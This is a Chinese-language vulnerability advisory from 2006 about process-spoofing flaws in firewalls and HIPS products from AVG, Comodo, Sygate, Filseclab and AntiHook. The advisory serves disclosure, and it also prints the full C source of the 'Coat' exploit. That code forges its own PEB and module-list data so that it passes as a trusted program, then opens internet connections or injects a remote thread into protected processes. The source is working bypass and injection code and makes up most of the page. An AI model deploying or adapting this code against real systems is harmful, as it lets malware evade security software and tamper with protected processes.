安全研究
安全漏洞
多家厂商防火墙/HIPS进程欺骗漏洞
发布日期:2006-12-16
更新日期:2006-12-18
受影响系统:
InfoProcess AntiHook 3.0.0.23描述:
AVG Anti-Virus plus Firewall 7.5.431
Comodo Personal Firewall 2.3.6.81
Filseclab Personal Firewall 3.0.0.8686
Symantec Sygate Personal Firewall 5.6.2808
BUGTRAQ ID: 21615
AntiHook、AVG Anti-Virus plus Firewall、Comodo Personal Firewall等都是非常流行的防火墙。
多个主机安全软件在处理用户态进程信息时存在漏洞,攻击者可能利用此漏洞绕过安全限制。
对每个进程实施安全保护的个人防火墙、HIPS和类似的安全软件必须能够识别出试图执行特权操作的进程。通常,这不仅需要名称和进程标识符,还需要进程的完整路径等信息。一些安全软件错误的从未知进程的用户态结构获得这些信息,这意味着这些安全软件依赖于可能会被恶意应用程序更改了的用户态数据,导致恶意进程看起来好像是其他进程,以绕过检测执行特权操作。
<*来源:Matousec (http://www.matousec.com/)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116621019413040&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
The Coat exploit is based on the Coat leaktest program. Please visit http://www.matousec.com/
for more information.
The Coat rewrites its own memory and tries to bypass the protection of the given product.
It rewrites its image base, image name, command line, Windows title etc. and it also
changes the information of the main module in the module list. All these data reside
in the address space of its process. All the data are changed to match the image
of the privileged application. Then it tries to execute privileged action such as establish
an Internet connection or open a protected process.
Products that are not able to handle this trick suffer from a serious design bug because
they trust ring 3 data of malicious processes. They do not have their internal list
of running programs and obtain this information when it is needed. This gives malicious
processes enough time to modify these data before they execute privileged actions.
Such products (as well as many other programs - e.g. Process Explorer from Sysinternals)
then see the malicious process as something else - e.g. the default browser - and allow
the execution of privileged actions without any questions.
InternetConnection (see usage) successfully tested against
- AVG Anti-Virus plus Firewall 7.5.431
- Comodo Personal Firewall 2.3.6.81
- Filseclab Personal Firewall 3.0.0.8686
- Look 'n' Stop 2.05p2
- Sygate Personal Firewall 5.6.2808
InfectProcess (see usage) successfully tested against
- AntiHook 3.0.0.23 - Desktop
*/
#undef __STRICT_ANSI__
#include <stdarg.h>
#include <stdio.h>
#include <windows.h>
#include "common/ntinternals.h"
#include "common/ltcommon.h"
#include "main.h"
// verbosity: TRUE = be verbose on output
int verbose=TRUE;
// new window title
#define NEW_TITLE "";
void about(void)
{
printf("The Coat exploit\n");
printf("Windows Personal Firewall Analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: ex-coat ACTION TARGET IDENTITY\n"
"Actions:\n"
" InternetConnection\n"
" - attempts to download web page\n"
" - TARGET format is \"http://site.tld/page\"\n"
" - IDENTITY is a full path of the program that is trusted to establish Internet connection."
" If this parameter is omitted ex-coat will run in the testing mode, which means that it will use its"
" own identity and should be blocked by the protection software.\n\n"
" InfectProcess\n"
" - attempts to infect (protected) process\n"
" - TARGET is number, identifier of the process to open\n"
" - IDENTITY is a full path of the program that is trusted to modify protected processes."
" If this parameter is omitted ex-coat will run in the testing mode, which means that it will use its"
" own identity and should be blocked by the protection software.\n\n\n"
"Examples:\n"
" 1) Against Comodo 2.3.6.81, Look 'n' Stop 2.05p2 and similar software use\n"
" ex-coat InternetConnection %s \"C:\\Program Files\\Internet Explorer\\iexplore.exe\"\n\n"
" 2) Against AntiHook 3.0.0.23 - Desktop and similar (HIPS only) software use\n"
" ex-coat InfectProcess EXPID C:\\WINDOWS\\system32\\winlogon.exe\n"
" where EXPID is a process identifier of \"explorer.exe\"\n\n",LEAKTEST_PAGE);
return;
}
/*
get image info collects information about the target image
which path is given in the first argument and stores the information
to the structure specified by the second argument
return value is TRUE if the function succeed, FALSE otherwise
*/
int get_image_info(char *path,PPR_INFO info)
{
int res=FALSE;
HANDLE file=CreateFile(path,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
if (file!=INVALID_HANDLE_VALUE)
{
char buffer[4096];
DWORD bread;
if (ReadFile(file,buffer,sizeof(buffer),&bread,NULL))
{
char *limit=buffer+bread;
PIMAGE_DOS_HEADER dos_hdr=(PIMAGE_DOS_HEADER)buffer;
int invalid_image=TRUE;
if ((size_t)limit>(size_t)&dos_hdr->e_lfanew+sizeof(dos_hdr->e_lfanew))
{
PIMAGE_NT_HEADERS nt_hdr=(PIMAGE_NT_HEADERS)(buffer+dos_hdr->e_lfanew);
if ((size_t)limit>(size_t)nt_hdr+sizeof(IMAGE_NT_HEADERS))
{
info->image_base=(PVOID)nt_hdr->OptionalHeader.ImageBase;
info->image_size=nt_hdr->OptionalHeader.SizeOfImage;
info->entry_point=(PVOID)((size_t)info->image_base+nt_hdr->OptionalHeader.AddressOfEntryPoint);
info->sub_system=nt_hdr->OptionalHeader.Subsystem;
invalid_image=FALSE;
res=TRUE;
}
}
if (invalid_image) fprintf(stderr,"Image \"%s\" is not valid.\n",path);
} else
{
fprintf(stderr,"Unable to read from file \"%s\".\n",path);
print_last_error();
}
CloseHandle(file);
} else
{
fprintf(stderr,"Unable to open file \"%s\" for reading.\n",path);
print_last_error();
}
return res;
}
/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/
int enable_privilege(char *priv_name)
{
DWORD res=0;
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES privs;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
if (LookupPrivilegeValue(NULL,priv_name,&luid))
{
privs.PrivilegeCount=1;
privs.Privileges[0].Luid=luid;
privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
DWORD ret_len;
res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
CloseHandle(tok);
}
return res;
}
/*
enable_debug_privilege adds debug privilege to own token
returns TRUE if succeed
*/
int enable_debug_privilege(void)
{
return enable_privilege(SE_DEBUG_NAME);
}
/*
this function tries to establish Internet connection and download the given web page
if the function succeed the return value is TRUE, otherwise it is FALSE
*/
int attempt_inetcon(char *page)
{
printf("Trying to access Internet page \"%s\".\n"
"If your protection software alerts you about this attempt, deny it!\n\n",page);
char buffer[4096];
int res=leaktest_attempt(page,buffer,sizeof(buffer));
if (res)
printf("Here is a body of that page:\n\n%s",buffer);
return res;
}
/*
this function tries to infect a process of a given PID
this means that the target process is opened and a new memory is allocated in
its address space, it is filled with a code and a new remote thread executed on this code
if the function succeed the return value is TRUE, otherwise it is FALSE
*/
int attempt_infectproc(DWORD pid)
{
printf("Trying to open target process, PID = %ld.\n"
"If your protection software alerts you about this attempt, deny it!\n\n",pid);
int res=FALSE;
HANDLE proc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if (proc)
{
if (verbose) printf("Process PID = %ld opened.\n",pid);
PVOID mem=VirtualAllocEx(proc,NULL,PAGE_SIZE,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (mem)
{
if (verbose) printf("Memory allocated in the target process at 0x%p.\n",mem);
DWORD written;
if (WriteProcessMemory(proc,mem,"\xC3",1,&written))
{
if (verbose) printf("Our code written to the target process memory at 0x%p.\n",mem);
if (CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)mem,NULL,0,NULL))
{
printf("Our code in the remote thread successfully executed.\n");
res=TRUE;
} else
{
fprintf(stderr,"Unable to create remote thread in the target process.\n");
print_last_error();
fprintf(stderr,"\n");
}
} else
{
fprintf(stderr,"Unable to write to the target process memory at 0x%p.\n",mem);
print_last_error();
fprintf(stderr,"\n");
}
} else
{
fprintf(stderr,"Unable to allocate memory in the target process, PID = %ld.\n",pid);
print_last_error();
fprintf(stderr,"\n");
}
CloseHandle(proc);
} else
{
fprintf(stderr,"Unable to open process, PID = %ld.\n",pid);
print_last_error();
fprintf(stderr,"\n");
}
return res;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
about();
int argok=TRUE,inetcon,test=FALSE;
if (!strnicmp(lpCmdLine,"InternetConnection ",strlen("InternetConnection "))) inetcon=TRUE;
else if (!strnicmp(lpCmdLine,"InfectProcess ",strlen("InfectProcess "))) inetcon=FALSE;
else argok=FALSE;
if (!argok)
{
usage();
return 1;
}
char *t=lpCmdLine,target[MAX_PATH],*targetapp;
if (inetcon) t+=strlen("InternetConnection ");
else t+=strlen("InfectProcess ");
char separator=' ';
if (*t=='"')
{
separator='"';
t++;
}
strncpy(target,t,MAX_PATH);
target[MAX_PATH-1]='\0';
char *sep=strchr(target,separator);
if (sep) *sep='\0';
DWORD targetpid;
if (!inetcon)
{
enable_debug_privilege();
targetpid=strtol(target,NULL,10);
if (!targetpid || targetpid>65536)
{
fprintf(stderr,"\"%s\" is not valid process identifier\n\n",target);
usage();
return 1;
}
}
char curmod[MAX_PATH];
t+=strlen(target);
if (*t==' ') t++;
if (*t=='"') t++;
strncpy(curmod,t,MAX_PATH);
int len=strlen(curmod);
if (curmod[len-1]=='"') curmod[len-1]='\0';
if (!strlen(t))
{
GetModuleFileName(NULL,curmod,sizeof(curmod));
test=TRUE;
}
targetapp=curmod;
if (verbose)
{
if (inetcon) printf("I will try to establish an Internet connection and download \"%s\" using the Coat of \"%s\".\n\n",target,targetapp);
else printf("I will try to infect process with identifier %ld using the Coat of \"%s\".\n\n",targetpid,targetapp);
if (test) printf("Testing mode enabled! I will use my own identity! If the selected action is protected"
" on your system, your protection software should alert you.\n\n");
}
int res=FALSE;
char *fakeinfo=NULL;
PPEB peb=get_peb();
if (peb)
{
if (verbose) printf("PEB found at 0x%p\n",peb);
PRTL_USER_PROCESS_PARAMETERS userpp=peb->ProcessParameters;
if (userpp)
{
if (verbose) printf("User process parameters found at 0x%p\n\n",userpp);
char mod_name[MAX_PATH];
GetModuleFileName(NULL,mod_name,sizeof(mod_name));
printf("mod name = '%s'\n",mod_name);
char targetapp_exe[MAX_PATH],targetapp_cmd[MAX_PATH];
char *exename=strrchr(targetapp,'\\');
if (exename) exename++;
else exename=targetapp;
strncpy(targetapp_exe,exename,sizeof(targetapp_exe));
targetapp_exe[sizeof(targetapp_exe)-1]='\0';
snprintf(targetapp_cmd,MAX_PATH,"\"%s\"",targetapp);
if (verbose)
{
printf("Target application's information:\n");
printf(" Image path = \"%s\"\n",targetapp);
printf(" Image name = \"%s\"\n",targetapp_exe);
printf(" Command line = %s\n",targetapp_cmd);
}
PR_INFO PR_INFO;
if (get_image_info(targetapp,&PR_INFO))
{
if (verbose)
{
printf(" Image base = 0x%p\n"
" Image size = 0x%lX\n"
" Entry point = 0x%p\n"
" Sub system = 0x%X\n\n",
PR_INFO.image_base,PR_INFO.image_size,PR_INFO.entry_point,PR_INFO.sub_system);
}
peb->ImageBaseAddress=PR_INFO.image_base;
peb->ImageSubSystem=PR_INFO.sub_system;
fakeinfo=VirtualAlloc(NULL,4*(1024+sizeof(UNICODE_STRING)),MEM_COMMIT,PAGE_READWRITE);
if (fakeinfo)
{
ANSI_STRING as_cmd,as_full,as_exe,as_title;
as_cmd.Buffer = targetapp_cmd;
as_full.Buffer = targetapp;
as_exe.Buffer = targetapp_exe;
as_title.Buffer = NEW_TITLE;
as_cmd.Length = strlen(as_cmd.Buffer);
as_full.Length = strlen(as_full.Buffer);
as_exe.Length = strlen(as_exe.Buffer);
as_title.Length = strlen(as_title.Buffer);
as_cmd.MaximumLength = as_cmd.Length;
as_full.MaximumLength = as_full.Length;
as_exe.MaximumLength = as_exe.Length;
as_title.MaximumLength = as_title.Length;
PUNICODE_STRING us_cmd,us_full,us_exe,us_title;
us_cmd = (PVOID)&fakeinfo[0*sizeof(UNICODE_STRING)];
us_full = (PVOID)&fakeinfo[1*sizeof(UNICODE_STRING)];
us_exe = (PVOID)&fakeinfo[2*sizeof(UNICODE_STRING)];
us_title = (PVOID)&fakeinfo[3*sizeof(UNICODE_STRING)];
char *us_start=&fakeinfo[4*sizeof(UNICODE_STRING)];
us_cmd->Buffer = (PWSTR)&us_start[0*1024];
us_full->Buffer = (PWSTR)&us_start[1*1024];
us_exe->Buffer = (PWSTR)&us_start[2*1024];
us_title->Buffer = (PWSTR)&us_start[3*1024];
us_cmd->Length = 0;
us_full->Length = 0;
us_exe->Length = 0;
us_title->Length = 0;
us_cmd->MaximumLength = 1024;
us_full->MaximumLength = 1024;
us_exe->MaximumLength = 1024;
us_title->MaximumLength = 1024;
NTSTATUS con1=RtlAnsiStringToUnicodeString(us_cmd,&as_cmd,FALSE);
NTSTATUS con2=RtlAnsiStringToUnicodeString(us_full,&as_full,FALSE);
NTSTATUS con3=RtlAnsiStringToUnicodeString(us_exe,&as_exe,FALSE);
NTSTATUS con4=RtlAnsiStringToUnicodeString(us_title,&as_title,FALSE);
UNICODE_STRING org_cmd,org_title,org_full,org_exe,org_path;
PVOID org_entry_point,org_image_base;
DWORD org_image_size=0;
if ((con1==STATUS_SUCCESS) && (con2==STATUS_SUCCESS) && (con3==STATUS_SUCCESS) && (con4==STATUS_SUCCESS))
{
memcpy(&org_path,&userpp->ImagePathName,sizeof(UNICODE_STRING));
memcpy(&org_cmd,&userpp->CommandLine,sizeof(UNICODE_STRING));
memcpy(&org_title,&userpp->WindowTitle,sizeof(UNICODE_STRING));
memcpy(&userpp->ImagePathName,us_full,sizeof(UNICODE_STRING));
memcpy(&userpp->CommandLine,us_cmd,sizeof(UNICODE_STRING));
memcpy(&userpp->WindowTitle,us_title,sizeof(UNICODE_STRING));
int info_changed=FALSE;
PLDR_MODULE module=(PLDR_MODULE)peb->LoaderData->InLoadOrderModuleList.Flink,first_module=module;
do
{
ANSI_STRING as_mod_name;
if (module->FullDllName.Length && (RtlUnicodeStringToAnsiString(&as_mod_name,&module->FullDllName,TRUE)==STATUS_SUCCESS))
{
if (!stricmp(mod_name,as_mod_name.Buffer))
{
if (!org_image_size)
{
memcpy(&org_full,&module->FullDllName,sizeof(UNICODE_STRING));
memcpy(&org_exe,&module->BaseDllName,sizeof(UNICODE_STRING));
org_entry_point=module->EntryPoint;
org_image_base=module->BaseAddress;
org_image_size=module->SizeOfImage;
}
memcpy(&module->FullDllName,us_full,sizeof(UNICODE_STRING));
memcpy(&module->BaseDllName,us_exe,sizeof(UNICODE_STRING));
module->EntryPoint=PR_INFO.entry_point;
module->BaseAddress=PR_INFO.image_base;
module->SizeOfImage=PR_INFO.image_size;
info_changed=TRUE;
}
RtlFreeAnsiString(&as_mod_name);
}
module=(PLDR_MODULE)module->InLoadOrderModuleList.Flink;
} while ((first_module->InLoadOrderModuleList.Blink!=(PVOID)module));
if (info_changed)
{
printf("Initialization of the Coat exploit succeeded.\n");
if (inetcon) res=attempt_inetcon(target);
else res=attempt_infectproc(targetpid);
module=(PLDR_MODULE)peb->LoaderData->InLoadOrderModuleList.Flink,first_module=module;
do
{
ANSI_STRING as_mod_name;
if (module->FullDllName.Length && (RtlUnicodeStringToAnsiString(&as_mod_name,&module->FullDllName,TRUE)==STATUS_SUCCESS))
{
if (!stricmp(mod_name,as_mod_name.Buffer))
{
memcpy(&module->FullDllName,&org_full,sizeof(UNICODE_STRING));
memcpy(&module->BaseDllName,&org_exe,sizeof(UNICODE_STRING));
module->EntryPoint=org_entry_point;
module->BaseAddress=org_image_base;
module->SizeOfImage=org_image_size;
}
RtlFreeAnsiString(&as_mod_name);
}
module=(PLDR_MODULE)module->InLoadOrderModuleList.Flink;
} while ((first_module->InLoadOrderModuleList.Blink!=(PVOID)module));
} else fprintf(stderr,"Unable to change internal process information.\n");
} else fprintf(stderr,"Unable to convert ansi strings to unicode strings using RtlAnsiStringToUnicodeString.\n"
"Return values were 0x%lX, 0x%lX, 0x%lX, 0x%lX.\n",con1,con2,con3,con4);
memcpy(&userpp->ImagePathName,&org_path,sizeof(UNICODE_STRING));
memcpy(&userpp->CommandLine,&org_cmd,sizeof(UNICODE_STRING));
memcpy(&userpp->WindowTitle,&org_title,sizeof(UNICODE_STRING));
} else
{
fprintf(stderr,"Unable to allocate %d bytes using VirtualAlloc.\n",5*(1024+sizeof(UNICODE_STRING)));
print_last_error();
}
} else fprintf(stderr,"Unable to obtain the image information of the target process.\n");
} else fprintf(stderr,"Unable to find user process parameters.\n");
} else fprintf(stderr,"Unable to find Process Environment Block (PEB).\n");
if (res) printf("\nTEST SUCCESSFUL!\n");
else printf("\nTEST FAILED!\n");
return (res ? 0 : 1);
}
建议:
厂商补丁:
Symantec
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.symantec.com/
AVG
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.grisoft.com/us/us_index.php
InfoProcess
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.infoprocess.com.au/AntiHook.php
Comodo
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.comodogroup.com/
Filseclab
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.filseclab.com/eng/default.htm
浏览次数:3634
严重程度:0(网友投票)
绿盟科技给您安全的保障
